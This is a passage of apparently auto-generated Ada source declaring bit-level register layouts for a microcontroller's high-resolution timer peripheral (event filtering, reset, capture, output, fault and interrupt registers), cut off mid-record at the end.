-- Timerx External Event Filtering Register 2
type EEFBR2_Register is record
-- External Event 6 latch
EE6LTCH : Boolean := False;
-- External Event 6 filter
EE6FLTR : EEFBR2_EE6FLTR_Field := 16#0#;
-- unspecified
Reserved_5_5 : HAL.Bit := 16#0#;
-- External Event 7 latch
EE7LTCH : Boolean := False;
-- External Event 7 filter
EE7FLTR : EEFBR2_EE7FLTR_Field := 16#0#;
-- unspecified
Reserved_11_11 : HAL.Bit := 16#0#;
-- External Event 8 latch
EE8LTCH : Boolean := False;
-- External Event 8 filter
EE8FLTR : EEFBR2_EE8FLTR_Field := 16#0#;
-- unspecified
Reserved_17_17 : HAL.Bit := 16#0#;
-- External Event 9 latch
EE9LTCH : Boolean := False;
-- External Event 9 filter
EE9FLTR : EEFBR2_EE9FLTR_Field := 16#0#;
-- unspecified
Reserved_23_23 : HAL.Bit := 16#0#;
-- External Event 10 latch
EE10LTCH : Boolean := False;
-- External Event 10 filter
EE10FLTR : EEFBR2_EE10FLTR_Field := 16#0#;
-- unspecified
Reserved_29_31 : HAL.UInt3 := 16#0#;
end record
with Volatile_Full_Access, Object_Size => 32,
Bit_Order => System.Low_Order_First;
for EEFBR2_Register use record
EE6LTCH at 0 range 0 .. 0;
EE6FLTR at 0 range 1 .. 4;
Reserved_5_5 at 0 range 5 .. 5;
EE7LTCH at 0 range 6 .. 6;
EE7FLTR at 0 range 7 .. 10;
Reserved_11_11 at 0 range 11 .. 11;
EE8LTCH at 0 range 12 .. 12;
EE8FLTR at 0 range 13 .. 16;
Reserved_17_17 at 0 range 17 .. 17;
EE9LTCH at 0 range 18 .. 18;
EE9FLTR at 0 range 19 .. 22;
Reserved_23_23 at 0 range 23 .. 23;
EE10LTCH at 0 range 24 .. 24;
EE10FLTR at 0 range 25 .. 28;
Reserved_29_31 at 0 range 29 .. 31;
end record;
-- RSTBR_CMP array
type RSTBR_CMP_Field_Array is array (2 .. 3) of Boolean
with Component_Size => 1, Size => 2;
-- Type definition for RSTBR_CMP
type RSTBR_CMP_Field
(As_Array : Boolean := False)
is record
case As_Array is
when False =>
-- CMP as a value
Val : HAL.UInt2;
when True =>
-- CMP as an array
Arr : RSTBR_CMP_Field_Array;
end case;
end record
with Unchecked_Union, Size => 2;
for RSTBR_CMP_Field use record
Val at 0 range 0 .. 1;
Arr at 0 range 0 .. 1;
end record;
-- RSTBR_MSTCMP array
type RSTBR_MSTCMP_Field_Array is array (1 .. 4) of Boolean
with Component_Size => 1, Size => 4;
-- Type definition for RSTBR_MSTCMP
type RSTBR_MSTCMP_Field
(As_Array : Boolean := False)
is record
case As_Array is
when False =>
-- MSTCMP as a value
Val : HAL.UInt4;
when True =>
-- MSTCMP as an array
Arr : RSTBR_MSTCMP_Field_Array;
end case;
end record
with Unchecked_Union, Size => 4;
for RSTBR_MSTCMP_Field use record
Val at 0 range 0 .. 3;
Arr at 0 range 0 .. 3;
end record;
-- RSTBR_EXTEVNT array
type RSTBR_EXTEVNT_Field_Array is array (1 .. 10) of Boolean
with Component_Size => 1, Size => 10;
-- Type definition for RSTBR_EXTEVNT
type RSTBR_EXTEVNT_Field
(As_Array : Boolean := False)
is record
case As_Array is
when False =>
-- EXTEVNT as a value
Val : HAL.UInt10;
when True =>
-- EXTEVNT as an array
Arr : RSTBR_EXTEVNT_Field_Array;
end case;
end record
with Unchecked_Union, Size => 10;
for RSTBR_EXTEVNT_Field use record
Val at 0 range 0 .. 9;
Arr at 0 range 0 .. 9;
end record;
-- RSTBR_TIMACMP array
type RSTBR_TIMACMP_Field_Array is array (1 .. 3) of Boolean
with Component_Size => 1, Size => 3;
-- Type definition for RSTBR_TIMACMP
type RSTBR_TIMACMP_Field
(As_Array : Boolean := False)
is record
case As_Array is
when False =>
-- TIMACMP as a value
Val : HAL.UInt3;
when True =>
-- TIMACMP as an array
Arr : RSTBR_TIMACMP_Field_Array;
end case;
end record
with Unchecked_Union, Size => 3;
for RSTBR_TIMACMP_Field use record
Val at 0 range 0 .. 2;
Arr at 0 range 0 .. 2;
end record;
-- RSTBR_TIMCCMP array
type RSTBR_TIMCCMP_Field_Array is array (1 .. 3) of Boolean
with Component_Size => 1, Size => 3;
-- Type definition for RSTBR_TIMCCMP
type RSTBR_TIMCCMP_Field
(As_Array : Boolean := False)
is record
case As_Array is
when False =>
-- TIMCCMP as a value
Val : HAL.UInt3;
when True =>
-- TIMCCMP as an array
Arr : RSTBR_TIMCCMP_Field_Array;
end case;
end record
with Unchecked_Union, Size => 3;
for RSTBR_TIMCCMP_Field use record
Val at 0 range 0 .. 2;
Arr at 0 range 0 .. 2;
end record;
-- RSTBR_TIMDCMP array
type RSTBR_TIMDCMP_Field_Array is array (1 .. 3) of Boolean
with Component_Size => 1, Size => 3;
-- Type definition for RSTBR_TIMDCMP
type RSTBR_TIMDCMP_Field
(As_Array : Boolean := False)
is record
case As_Array is
when False =>
-- TIMDCMP as a value
Val : HAL.UInt3;
when True =>
-- TIMDCMP as an array
Arr : RSTBR_TIMDCMP_Field_Array;
end case;
end record
with Unchecked_Union, Size => 3;
for RSTBR_TIMDCMP_Field use record
Val at 0 range 0 .. 2;
Arr at 0 range 0 .. 2;
end record;
-- RSTBR_TIMECMP array
type RSTBR_TIMECMP_Field_Array is array (1 .. 3) of Boolean
with Component_Size => 1, Size => 3;
-- Type definition for RSTBR_TIMECMP
type RSTBR_TIMECMP_Field
(As_Array : Boolean := False)
is record
case As_Array is
when False =>
-- TIMECMP as a value
Val : HAL.UInt3;
when True =>
-- TIMECMP as an array
Arr : RSTBR_TIMECMP_Field_Array;
end case;
end record
with Unchecked_Union, Size => 3;
for RSTBR_TIMECMP_Field use record
Val at 0 range 0 .. 2;
Arr at 0 range 0 .. 2;
end record;
-- TimerA Reset Register
type RSTBR_Register is record
-- unspecified
Reserved_0_0 : HAL.Bit := 16#0#;
-- Timer A Update reset
UPDT : Boolean := False;
-- Timer A compare 2 reset
CMP : RSTBR_CMP_Field := (As_Array => False, Val => 16#0#);
-- Master timer Period
MSTPER : Boolean := False;
-- Master compare 1
MSTCMP : RSTBR_MSTCMP_Field :=
(As_Array => False, Val => 16#0#);
-- External Event 1
EXTEVNT : RSTBR_EXTEVNT_Field :=
(As_Array => False, Val => 16#0#);
-- Timer A Compare 1
TIMACMP : RSTBR_TIMACMP_Field :=
(As_Array => False, Val => 16#0#);
-- Timer C Compare 1
TIMCCMP : RSTBR_TIMCCMP_Field :=
(As_Array => False, Val => 16#0#);
-- Timer D Compare 1
TIMDCMP : RSTBR_TIMDCMP_Field :=
(As_Array => False, Val => 16#0#);
-- Timer E Compare 1
TIMECMP : RSTBR_TIMECMP_Field :=
(As_Array => False, Val => 16#0#);
-- unspecified
Reserved_31_31 : HAL.Bit := 16#0#;
end record
with Volatile_Full_Access, Object_Size => 32,
Bit_Order => System.Low_Order_First;
for RSTBR_Register use record
Reserved_0_0 at 0 range 0 .. 0;
UPDT at 0 range 1 .. 1;
CMP at 0 range 2 .. 3;
MSTPER at 0 range 4 .. 4;
MSTCMP at 0 range 5 .. 8;
EXTEVNT at 0 range 9 .. 18;
TIMACMP at 0 range 19 .. 21;
TIMCCMP at 0 range 22 .. 24;
TIMDCMP at 0 range 25 .. 27;
TIMECMP at 0 range 28 .. 30;
Reserved_31_31 at 0 range 31 .. 31;
end record;
subtype CHPBR_CHPFRQ_Field is HAL.UInt4;
subtype CHPBR_CHPDTY_Field is HAL.UInt3;
subtype CHPBR_STRTPW_Field is HAL.UInt4;
-- Timerx Chopper Register
type CHPBR_Register is record
-- Timerx carrier frequency value
CHPFRQ : CHPBR_CHPFRQ_Field := 16#0#;
-- Timerx chopper duty cycle value
CHPDTY : CHPBR_CHPDTY_Field := 16#0#;
-- STRTPW
STRTPW : CHPBR_STRTPW_Field := 16#0#;
-- unspecified
Reserved_11_31 : HAL.UInt21 := 16#0#;
end record
with Volatile_Full_Access, Object_Size => 32,
Bit_Order => System.Low_Order_First;
for CHPBR_Register use record
CHPFRQ at 0 range 0 .. 3;
CHPDTY at 0 range 4 .. 6;
STRTPW at 0 range 7 .. 10;
Reserved_11_31 at 0 range 11 .. 31;
end record;
-- CPT1BCR_TACMP array
type CPT1BCR_TACMP_Field_Array is array (1 .. 2) of Boolean
with Component_Size => 1, Size => 2;
-- Type definition for CPT1BCR_TACMP
type CPT1BCR_TACMP_Field
(As_Array : Boolean := False)
is record
case As_Array is
when False =>
-- TACMP as a value
Val : HAL.UInt2;
when True =>
-- TACMP as an array
Arr : CPT1BCR_TACMP_Field_Array;
end case;
end record
with Unchecked_Union, Size => 2;
for CPT1BCR_TACMP_Field use record
Val at 0 range 0 .. 1;
Arr at 0 range 0 .. 1;
end record;
-- CPT1BCR_TCCMP array
type CPT1BCR_TCCMP_Field_Array is array (1 .. 2) of Boolean
with Component_Size => 1, Size => 2;
-- Type definition for CPT1BCR_TCCMP
type CPT1BCR_TCCMP_Field
(As_Array : Boolean := False)
is record
case As_Array is
when False =>
-- TCCMP as a value
Val : HAL.UInt2;
when True =>
-- TCCMP as an array
Arr : CPT1BCR_TCCMP_Field_Array;
end case;
end record
with Unchecked_Union, Size => 2;
for CPT1BCR_TCCMP_Field use record
Val at 0 range 0 .. 1;
Arr at 0 range 0 .. 1;
end record;
-- CPT1BCR_TDCMP array
type CPT1BCR_TDCMP_Field_Array is array (1 .. 2) of Boolean
with Component_Size => 1, Size => 2;
-- Type definition for CPT1BCR_TDCMP
type CPT1BCR_TDCMP_Field
(As_Array : Boolean := False)
is record
case As_Array is
when False =>
-- TDCMP as a value
Val : HAL.UInt2;
when True =>
-- TDCMP as an array
Arr : CPT1BCR_TDCMP_Field_Array;
end case;
end record
with Unchecked_Union, Size => 2;
for CPT1BCR_TDCMP_Field use record
Val at 0 range 0 .. 1;
Arr at 0 range 0 .. 1;
end record;
-- CPT1BCR_TECMP array
type CPT1BCR_TECMP_Field_Array is array (1 .. 2) of Boolean
with Component_Size => 1, Size => 2;
-- Type definition for CPT1BCR_TECMP
type CPT1BCR_TECMP_Field
(As_Array : Boolean := False)
is record
case As_Array is
when False =>
-- TECMP as a value
Val : HAL.UInt2;
when True =>
-- TECMP as an array
Arr : CPT1BCR_TECMP_Field_Array;
end case;
end record
with Unchecked_Union, Size => 2;
for CPT1BCR_TECMP_Field use record
Val at 0 range 0 .. 1;
Arr at 0 range 0 .. 1;
end record;
-- Timerx Capture 2 Control Register
type CPT1BCR_Register is record
-- Software Capture
SWCPT : Boolean := False;
-- Update Capture
UDPCPT : Boolean := False;
-- External Event 1 Capture
EXEV1CPT : Boolean := False;
-- External Event 2 Capture
EXEV2CPT : Boolean := False;
-- External Event 3 Capture
EXEV3CPT : Boolean := False;
-- External Event 4 Capture
EXEV4CPT : Boolean := False;
-- External Event 5 Capture
EXEV5CPT : Boolean := False;
-- External Event 6 Capture
EXEV6CPT : Boolean := False;
-- External Event 7 Capture
EXEV7CPT : Boolean := False;
-- External Event 8 Capture
EXEV8CPT : Boolean := False;
-- External Event 9 Capture
EXEV9CPT : Boolean := False;
-- External Event 10 Capture
EXEV10CPT : Boolean := False;
-- Timer A output 1 Set
TA1SET : Boolean := False;
-- Timer A output 1 Reset
TA1RST : Boolean := False;
-- Timer A Compare 1
TACMP : CPT1BCR_TACMP_Field :=
(As_Array => False, Val => 16#0#);
-- unspecified
Reserved_16_19 : HAL.UInt4 := 16#0#;
-- Timer C output 1 Set
TC1SET : Boolean := False;
-- Timer C output 1 Reset
TC1RST : Boolean := False;
-- Timer C Compare 1
TCCMP : CPT1BCR_TCCMP_Field :=
(As_Array => False, Val => 16#0#);
-- Timer D output 1 Set
TD1SET : Boolean := False;
-- Timer D output 1 Reset
TD1RST : Boolean := False;
-- Timer D Compare 1
TDCMP : CPT1BCR_TDCMP_Field :=
(As_Array => False, Val => 16#0#);
-- Timer E output 1 Set
TE1SET : Boolean := False;
-- Timer E output 1 Reset
TE1RST : Boolean := False;
-- Timer E Compare 1
TECMP : CPT1BCR_TECMP_Field :=
(As_Array => False, Val => 16#0#);
end record
with Volatile_Full_Access, Object_Size => 32,
Bit_Order => System.Low_Order_First;
for CPT1BCR_Register use record
SWCPT at 0 range 0 .. 0;
UDPCPT at 0 range 1 .. 1;
EXEV1CPT at 0 range 2 .. 2;
EXEV2CPT at 0 range 3 .. 3;
EXEV3CPT at 0 range 4 .. 4;
EXEV4CPT at 0 range 5 .. 5;
EXEV5CPT at 0 range 6 .. 6;
EXEV6CPT at 0 range 7 .. 7;
EXEV7CPT at 0 range 8 .. 8;
EXEV8CPT at 0 range 9 .. 9;
EXEV9CPT at 0 range 10 .. 10;
EXEV10CPT at 0 range 11 .. 11;
TA1SET at 0 range 12 .. 12;
TA1RST at 0 range 13 .. 13;
TACMP at 0 range 14 .. 15;
Reserved_16_19 at 0 range 16 .. 19;
TC1SET at 0 range 20 .. 20;
TC1RST at 0 range 21 .. 21;
TCCMP at 0 range 22 .. 23;
TD1SET at 0 range 24 .. 24;
TD1RST at 0 range 25 .. 25;
TDCMP at 0 range 26 .. 27;
TE1SET at 0 range 28 .. 28;
TE1RST at 0 range 29 .. 29;
TECMP at 0 range 30 .. 31;
end record;
-- CPT2BCR_TACMP array
type CPT2BCR_TACMP_Field_Array is array (1 .. 2) of Boolean
with Component_Size => 1, Size => 2;
-- Type definition for CPT2BCR_TACMP
type CPT2BCR_TACMP_Field
(As_Array : Boolean := False)
is record
case As_Array is
when False =>
-- TACMP as a value
Val : HAL.UInt2;
when True =>
-- TACMP as an array
Arr : CPT2BCR_TACMP_Field_Array;
end case;
end record
with Unchecked_Union, Size => 2;
for CPT2BCR_TACMP_Field use record
Val at 0 range 0 .. 1;
Arr at 0 range 0 .. 1;
end record;
-- CPT2BCR_TCCMP array
type CPT2BCR_TCCMP_Field_Array is array (1 .. 2) of Boolean
with Component_Size => 1, Size => 2;
-- Type definition for CPT2BCR_TCCMP
type CPT2BCR_TCCMP_Field
(As_Array : Boolean := False)
is record
case As_Array is
when False =>
-- TCCMP as a value
Val : HAL.UInt2;
when True =>
-- TCCMP as an array
Arr : CPT2BCR_TCCMP_Field_Array;
end case;
end record
with Unchecked_Union, Size => 2;
for CPT2BCR_TCCMP_Field use record
Val at 0 range 0 .. 1;
Arr at 0 range 0 .. 1;
end record;
-- CPT2BCR_TDCMP array
type CPT2BCR_TDCMP_Field_Array is array (1 .. 2) of Boolean
with Component_Size => 1, Size => 2;
-- Type definition for CPT2BCR_TDCMP
type CPT2BCR_TDCMP_Field
(As_Array : Boolean := False)
is record
case As_Array is
when False =>
-- TDCMP as a value
Val : HAL.UInt2;
when True =>
-- TDCMP as an array
Arr : CPT2BCR_TDCMP_Field_Array;
end case;
end record
with Unchecked_Union, Size => 2;
for CPT2BCR_TDCMP_Field use record
Val at 0 range 0 .. 1;
Arr at 0 range 0 .. 1;
end record;
-- CPT2BCR_TECMP array
type CPT2BCR_TECMP_Field_Array is array (1 .. 2) of Boolean
with Component_Size => 1, Size => 2;
-- Type definition for CPT2BCR_TECMP
type CPT2BCR_TECMP_Field
(As_Array : Boolean := False)
is record
case As_Array is
when False =>
-- TECMP as a value
Val : HAL.UInt2;
when True =>
-- TECMP as an array
Arr : CPT2BCR_TECMP_Field_Array;
end case;
end record
with Unchecked_Union, Size => 2;
for CPT2BCR_TECMP_Field use record
Val at 0 range 0 .. 1;
Arr at 0 range 0 .. 1;
end record;
-- CPT2xCR
type CPT2BCR_Register is record
-- Software Capture
SWCPT : Boolean := False;
-- Update Capture
UDPCPT : Boolean := False;
-- External Event 1 Capture
EXEV1CPT : Boolean := False;
-- External Event 2 Capture
EXEV2CPT : Boolean := False;
-- External Event 3 Capture
EXEV3CPT : Boolean := False;
-- External Event 4 Capture
EXEV4CPT : Boolean := False;
-- External Event 5 Capture
EXEV5CPT : Boolean := False;
-- External Event 6 Capture
EXEV6CPT : Boolean := False;
-- External Event 7 Capture
EXEV7CPT : Boolean := False;
-- External Event 8 Capture
EXEV8CPT : Boolean := False;
-- External Event 9 Capture
EXEV9CPT : Boolean := False;
-- External Event 10 Capture
EXEV10CPT : Boolean := False;
-- Timer A output 1 Set
TA1SET : Boolean := False;
-- Timer A output 1 Reset
TA1RST : Boolean := False;
-- Timer A Compare 1
TACMP : CPT2BCR_TACMP_Field :=
(As_Array => False, Val => 16#0#);
-- unspecified
Reserved_16_19 : HAL.UInt4 := 16#0#;
-- Timer C output 1 Set
TC1SET : Boolean := False;
-- Timer C output 1 Reset
TC1RST : Boolean := False;
-- Timer C Compare 1
TCCMP : CPT2BCR_TCCMP_Field :=
(As_Array => False, Val => 16#0#);
-- Timer D output 1 Set
TD1SET : Boolean := False;
-- Timer D output 1 Reset
TD1RST : Boolean := False;
-- Timer D Compare 1
TDCMP : CPT2BCR_TDCMP_Field :=
(As_Array => False, Val => 16#0#);
-- Timer E output 1 Set
TE1SET : Boolean := False;
-- Timer E output 1 Reset
TE1RST : Boolean := False;
-- Timer E Compare 1
TECMP : CPT2BCR_TECMP_Field :=
(As_Array => False, Val => 16#0#);
end record
with Volatile_Full_Access, Object_Size => 32,
Bit_Order => System.Low_Order_First;
for CPT2BCR_Register use record
SWCPT at 0 range 0 .. 0;
UDPCPT at 0 range 1 .. 1;
EXEV1CPT at 0 range 2 .. 2;
EXEV2CPT at 0 range 3 .. 3;
EXEV3CPT at 0 range 4 .. 4;
EXEV4CPT at 0 range 5 .. 5;
EXEV5CPT at 0 range 6 .. 6;
EXEV6CPT at 0 range 7 .. 7;
EXEV7CPT at 0 range 8 .. 8;
EXEV8CPT at 0 range 9 .. 9;
EXEV9CPT at 0 range 10 .. 10;
EXEV10CPT at 0 range 11 .. 11;
TA1SET at 0 range 12 .. 12;
TA1RST at 0 range 13 .. 13;
TACMP at 0 range 14 .. 15;
Reserved_16_19 at 0 range 16 .. 19;
TC1SET at 0 range 20 .. 20;
TC1RST at 0 range 21 .. 21;
TCCMP at 0 range 22 .. 23;
TD1SET at 0 range 24 .. 24;
TD1RST at 0 range 25 .. 25;
TDCMP at 0 range 26 .. 27;
TE1SET at 0 range 28 .. 28;
TE1RST at 0 range 29 .. 29;
TECMP at 0 range 30 .. 31;
end record;
subtype OUTBR_FAULT1_Field is HAL.UInt2;
subtype OUTBR_DLYPRT_Field is HAL.UInt3;
subtype OUTBR_FAULT2_Field is HAL.UInt2;
-- Timerx Output Register
type OUTBR_Register is record
-- unspecified
Reserved_0_0 : HAL.Bit := 16#0#;
-- Output 1 polarity
POL1 : Boolean := False;
-- Output 1 Idle mode
IDLEM1 : Boolean := False;
-- Output 1 Idle State
IDLES1 : Boolean := False;
-- Output 1 Fault state
FAULT1 : OUTBR_FAULT1_Field := 16#0#;
-- Output 1 Chopper enable
CHP1 : Boolean := False;
-- Output 1 Deadtime upon burst mode Idle entry
DIDL1 : Boolean := False;
-- Deadtime enable
DTEN : Boolean := False;
-- Delayed Protection Enable
DLYPRTEN : Boolean := False;
-- Delayed Protection
DLYPRT : OUTBR_DLYPRT_Field := 16#0#;
-- unspecified
Reserved_13_16 : HAL.UInt4 := 16#0#;
-- Output 2 polarity
POL2 : Boolean := False;
-- Output 2 Idle mode
IDLEM2 : Boolean := False;
-- Output 2 Idle State
IDLES2 : Boolean := False;
-- Output 2 Fault state
FAULT2 : OUTBR_FAULT2_Field := 16#0#;
-- Output 2 Chopper enable
CHP2 : Boolean := False;
-- Output 2 Deadtime upon burst mode Idle entry
DIDL2 : Boolean := False;
-- unspecified
Reserved_24_31 : HAL.UInt8 := 16#0#;
end record
with Volatile_Full_Access, Object_Size => 32,
Bit_Order => System.Low_Order_First;
for OUTBR_Register use record
Reserved_0_0 at 0 range 0 .. 0;
POL1 at 0 range 1 .. 1;
IDLEM1 at 0 range 2 .. 2;
IDLES1 at 0 range 3 .. 3;
FAULT1 at 0 range 4 .. 5;
CHP1 at 0 range 6 .. 6;
DIDL1 at 0 range 7 .. 7;
DTEN at 0 range 8 .. 8;
DLYPRTEN at 0 range 9 .. 9;
DLYPRT at 0 range 10 .. 12;
Reserved_13_16 at 0 range 13 .. 16;
POL2 at 0 range 17 .. 17;
IDLEM2 at 0 range 18 .. 18;
IDLES2 at 0 range 19 .. 19;
FAULT2 at 0 range 20 .. 21;
CHP2 at 0 range 22 .. 22;
DIDL2 at 0 range 23 .. 23;
Reserved_24_31 at 0 range 24 .. 31;
end record;
-- Timerx Fault Register
type FLTBR_Register is record
-- Fault 1 enable
FLT1EN : Boolean := False;
-- Fault 2 enable
FLT2EN : Boolean := False;
-- Fault 3 enable
FLT3EN : Boolean := False;
-- Fault 4 enable
FLT4EN : Boolean := False;
-- Fault 5 enable
FLT5EN : Boolean := False;
-- unspecified
Reserved_5_30 : HAL.UInt26 := 16#0#;
-- Fault sources Lock
FLTLCK : Boolean := False;
end record
with Volatile_Full_Access, Object_Size => 32,
Bit_Order => System.Low_Order_First;
for FLTBR_Register use record
FLT1EN at 0 range 0 .. 0;
FLT2EN at 0 range 1 .. 1;
FLT3EN at 0 range 2 .. 2;
FLT4EN at 0 range 3 .. 3;
FLT5EN at 0 range 4 .. 4;
Reserved_5_30 at 0 range 5 .. 30;
FLTLCK at 0 range 31 .. 31;
end record;
subtype TIMCCR_CKPSCx_Field is HAL.UInt3;
-- TIMCCR_DELCMP array element
subtype TIMCCR_DELCMP_Element is HAL.UInt2;
-- TIMCCR_DELCMP array
type TIMCCR_DELCMP_Field_Array is array (2 .. 3) of TIMCCR_DELCMP_Element
with Component_Size => 2, Size => 4;
-- Type definition for TIMCCR_DELCMP
type TIMCCR_DELCMP_Field
(As_Array : Boolean := False)
is record
case As_Array is
when False =>
-- DELCMP as a value
Val : HAL.UInt4;
when True =>
-- DELCMP as an array
Arr : TIMCCR_DELCMP_Field_Array;
end case;
end record
with Unchecked_Union, Size => 4;
for TIMCCR_DELCMP_Field use record
Val at 0 range 0 .. 3;
Arr at 0 range 0 .. 3;
end record;
subtype TIMCCR_DACSYNC_Field is HAL.UInt2;
subtype TIMCCR_UPDGAT_Field is HAL.UInt4;
-- Timerx Control Register
type TIMCCR_Register is record
-- HRTIM Timer x Clock prescaler
CKPSCx : TIMCCR_CKPSCx_Field := 16#0#;
-- Continuous mode
CONT : Boolean := False;
-- Re-triggerable mode
RETRIG : Boolean := False;
-- Half mode enable
HALF : Boolean := False;
-- Push-Pull mode enable
PSHPLL : Boolean := False;
-- unspecified
Reserved_7_9 : HAL.UInt3 := 16#0#;
-- Synchronization Resets Timer x
SYNCRSTx : Boolean := False;
-- Synchronization Starts Timer x
SYNCSTRTx : Boolean := False;
-- Delayed CMP2 mode
DELCMP : TIMCCR_DELCMP_Field :=
(As_Array => False, Val => 16#0#);
-- unspecified
Reserved_16_16 : HAL.Bit := 16#0#;
-- Timer x Repetition update
TxREPU : Boolean := False;
-- Timerx reset update
TxRSTU : Boolean := False;
-- unspecified
Reserved_19_19 : HAL.Bit := 16#0#;
-- TBU
TBU : Boolean := False;
-- TCU
TCU : Boolean := False;
-- TDU
TDU : Boolean := False;
-- TEU
TEU : Boolean := False;
-- Master Timer update
MSTU : Boolean := False;
-- AC Synchronization
DACSYNC : TIMCCR_DACSYNC_Field := 16#0#;
-- Preload enable
PREEN : Boolean := False;
-- Update Gating
UPDGAT : TIMCCR_UPDGAT_Field := 16#0#;
end record
with Volatile_Full_Access, Object_Size => 32,
Bit_Order => System.Low_Order_First;
for TIMCCR_Register use record
CKPSCx at 0 range 0 .. 2;
CONT at 0 range 3 .. 3;
RETRIG at 0 range 4 .. 4;
HALF at 0 range 5 .. 5;
PSHPLL at 0 range 6 .. 6;
Reserved_7_9 at 0 range 7 .. 9;
SYNCRSTx at 0 range 10 .. 10;
SYNCSTRTx at 0 range 11 .. 11;
DELCMP at 0 range 12 .. 15;
Reserved_16_16 at 0 range 16 .. 16;
TxREPU at 0 range 17 .. 17;
TxRSTU at 0 range 18 .. 18;
Reserved_19_19 at 0 range 19 .. 19;
TBU at 0 range 20 .. 20;
TCU at 0 range 21 .. 21;
TDU at 0 range 22 .. 22;
TEU at 0 range 23 .. 23;
MSTU at 0 range 24 .. 24;
DACSYNC at 0 range 25 .. 26;
PREEN at 0 range 27 .. 27;
UPDGAT at 0 range 28 .. 31;
end record;
-- TIMCISR_CMP array
type TIMCISR_CMP_Field_Array is array (1 .. 4) of Boolean
with Component_Size => 1, Size => 4;
-- Type definition for TIMCISR_CMP
type TIMCISR_CMP_Field
(As_Array : Boolean := False)
is record
case As_Array is
when False =>
-- CMP as a value
Val : HAL.UInt4;
when True =>
-- CMP as an array
Arr : TIMCISR_CMP_Field_Array;
end case;
end record
with Unchecked_Union, Size => 4;
for TIMCISR_CMP_Field use record
Val at 0 range 0 .. 3;
Arr at 0 range 0 .. 3;
end record;
-- TIMCISR_CPT array
type TIMCISR_CPT_Field_Array is array (1 .. 2) of Boolean
with Component_Size => 1, Size => 2;
-- Type definition for TIMCISR_CPT
type TIMCISR_CPT_Field
(As_Array : Boolean := False)
is record
case As_Array is
when False =>
-- CPT as a value
Val : HAL.UInt2;
when True =>
-- CPT as an array
Arr : TIMCISR_CPT_Field_Array;
end case;
end record
with Unchecked_Union, Size => 2;
for TIMCISR_CPT_Field use record
Val at 0 range 0 .. 1;
Arr at 0 range 0 .. 1;
end record;
-- Timerx Interrupt Status Register
type TIMCISR_Register is record
-- Read-only. Compare 1 Interrupt Flag
CMP : TIMCISR_CMP_Field;
-- Read-only. Repetition Interrupt Flag
REP : Boolean;
-- unspecified
Reserved_5_5 : HAL.Bit;
-- Read-only. Update Interrupt Flag
UPD : Boolean;
-- Read-only. Capture1 Interrupt Flag
CPT : TIMCISR_CPT_Field;
-- Read-only. Output 1 Set Interrupt Flag
SETx1 : Boolean;
-- Read-only. Output 1 Reset Interrupt Flag
RSTx1 : Boolean;
-- Read-only. Output 2 Set Interrupt Flag
SETx2 : Boolean;
-- Read-only. Output 2 Reset Interrupt Flag
RSTx2 : Boolean;
-- Read-only. Reset Interrupt Flag
RST : Boolean;
-- Read-only. Delayed Protection Flag
DLYPRT : Boolean;
-- unspecified
Reserved_15_15 : HAL.Bit;
-- Read-only. Current Push Pull Status
CPPSTAT : Boolean;
-- Read-only. Idle Push Pull Status
IPPSTAT : Boolean;
-- Read-only. Output 1 State
O1STAT : Boolean;
-- Read-only. Output 2 State
O2STAT : Boolean;
-- unspecified
Reserved_20_31 : HAL.UInt12;
end record
with Volatile_Full_Access, Object_Size => 32,
Bit_Order => System.Low_Order_First;
for TIMCISR_Register use record
CMP at 0 range 0 .. 3;
REP at 0 range 4 .. 4;
Reserved_5_5 at 0 range 5 .. 5;
UPD at 0 range 6 .. 6;
CPT at 0 range 7 .. 8;
SETx1 at 0 range 9 .. 9;
RSTx1 at 0 range 10 .. 10;
SETx2 at 0 range 11 .. 11;
RSTx2 at 0 range 12 .. 12;
RST at 0 range 13 .. 13;
DLYPRT at 0 range 14 .. 14;
Reserved_15_15 at 0 range 15 .. 15;
CPPSTAT at 0 range 16 .. 16;
IPPSTAT at 0 range 17 .. 17;
O1STAT at 0 range 18 .. 18;
O2STAT at 0 range 19 .. 19;
Reserved_20_31 at 0 range 20 .. 31;
end record;
-- Timerx Interrupt Clear Register
type TIMCICR_Register is record
-- Write-only. Compare 1 Interrupt flag Clear
CMP1C : Boolean := False;
-- Write-only. Compare 2 Interrupt flag Clear
CMP2C : Boolean := False;
-- Write-only. Compare 3 Interrupt flag Clear
CMP3C : Boolean := False;
-- Write-only. Compare 4 Interrupt flag Clear
CMP4C : Boolean := False;
-- Write-only. Repetition Interrupt flag Clear
REPC : Boolean := False;
-- unspecified
Reserved_5_5 : HAL.Bit := 16#0#;
-- Write-only. Update Interrupt flag Clear
UPDC : Boolean := False;
-- Write-only. Capture1 Interrupt flag Clear
CPT1C : Boolean := False;
-- Write-only. Capture2 Interrupt flag Clear
CPT2C : Boolean := False;
-- Write-only. Output 1 Set flag Clear
SET1xC : Boolean := False;
-- Write-only. Output 1 Reset flag Clear
RSTx1C : Boolean := False;
-- Write-only. Output 2 Set flag Clear
SET2xC : Boolean := False;
-- Write-only. Output 2 Reset flag Clear
RSTx2C : Boolean := False;
-- Write-only. Reset Interrupt flag Clear
RSTC : Boolean := False;
-- Write-only. Delayed Protection Flag Clear
DLYPRTC : Boolean := False;
-- unspecified
Reserved_15_31 : HAL.UInt17 := 16#0#;
end record
with Volatile_Full_Access, Object_Size => 32,
Bit_Order => System.Low_Order_First;
for TIMCICR_Register use record
CMP1C at 0 range 0 .. 0;
CMP2C at 0 range 1 .. 1;
CMP3C at 0 range 2 .. 2;
CMP4C at 0 range 3 .. 3;
REPC at 0 range 4 .. 4;
Reserved_5_5 at 0 range 5 .. 5;
UPDC at 0 range 6 .. 6;
CPT1C at 0 range 7 .. 7;
CPT2C at 0 range 8 .. 8;
SET1xC at 0 range 9 .. 9;
RSTx1C at 0 range 10 .. 10;
SET2xC at 0 range 11 .. 11;
RSTx2C at 0 range 12 .. 12;
RSTC at 0 range 13 .. 13;
DLYPRTC at 0 range 14 .. 14;
Reserved_15_31 at 0 range 15 .. 31;
end record;
-- TIMxDIER
type TIMCDIER_Register is record
-- CMP1IE
CMP1IE : Boolean := False;
-- CMP2IE
CMP2IE : Boolean := False;
-- CMP3IE
CMP3IE : Boolean := False;
-- CMP4IE
CMP4IE : Boolean := False;
-- REPIE
REPIE : Boolean := False;
-- unspecified
Reserved_5_5 : HAL.Bit := 16#0#;
-- UPDIE
UPDIE : Boolean := False;
-- CPT1IE
CPT1IE : Boolean := False;
-- CPT2IE
CPT2IE : Boolean := False;
-- SET1xIE
SET1xIE : Boolean := False;
-- RSTx1IE
RSTx1IE : Boolean := False;
-- SETx2IE
SETx2IE : Boolean := False;
-- RSTx2IE
RSTx2IE : Boolean := False;
-- RSTIE
